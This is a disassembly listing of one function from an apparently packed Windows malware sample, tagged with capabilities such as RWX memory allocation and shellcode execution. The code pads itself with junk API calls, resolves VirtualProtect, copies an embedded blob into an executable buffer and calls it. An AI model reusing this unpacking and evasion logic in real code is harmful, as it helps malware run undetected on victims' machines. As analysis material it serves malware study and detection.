Function at 0x40247d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Print debug messages
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc40
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x207138
jg 0x4024a5
inc ebx
cmp ebx, 0x4f672
jl 0x40248d
cmp dword [0x4a9d44], 0x93
jne 0x40252f
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.novotofijuxasaxasibeyi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
call edi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.ravepifacijeducizanilihejabocavo
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], str.bad_exception
call fcn.0040283f
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], vtable.std::bad_exception.0
call fcn.00402866
push esi
call fcn.00402afb
push esi
call fcn.00402bfb
pop ecx
pop ecx
push esi
call fcn.00402e8d
mov eax, dword [0x4a1cd8]
add dword [0x4a9d44], 0x1134b
push str.kernel32.dll
mov dword [0x4b0170], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x4a97d4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x4a9d44]
mov dword [0x4a97c8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x4a9d44]
mov dword [0x4a97d0], eax
push eax
call dword [0x4a97c8]
mov ebx, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x40258e
cmp dword [0x4a9d44], esi
jbe 0x40260c
mov eax, dword [0x4b0170]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x4a97d0]
mov byte [ecx + ebx], al
cmp dword [0x4a9d44], 0x490
jne 0x402603
push esi
lea eax, [ebp - 0xc40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push str.ducagi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kimerebulewawiligicatewixay
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc ebx
cmp ebx, dword [0x4a9d44]
jb 0x4025a5
xor ebx, ebx
mov eax, dword [0x4a9d44]
add eax, ebx
cmp eax, 0x8d
jne 0x402634
push str.melematanonunoyumomeye_muronabofinokanuzepuwoxotiyip_himoruwo
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push esi
push esi
push str.gasuhugijaxed
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
inc ebx
cmp ebx, 0x38681
jl 0x40260e
mov eax, dword [0x4a9d44]
mov ecx, dword [0x4a97d0]
shr eax, 3
cmp eax, esi
jbe 0x40268f
mov ebx, ecx
mov edi, eax
cmp dword [0x4a9d44], 0x959
jne 0x402684
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.Zoj_mudesodipijapazofizelapazodu
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401029
add ebx, 8
dec edi
jne 0x402653
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x62
jne 0x4026b0
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x4a97d0], eax
inc ebx
cmp ebx, 0x674db
jl 0x402691
push 0x7b
pop edi
cmp dword [0x4a9d44], 0x86
jne 0x4026ee
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
dec edi
jne 0x4026bc
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x4a97d0]
pop edi
pop esi
pop ebx
leave
ret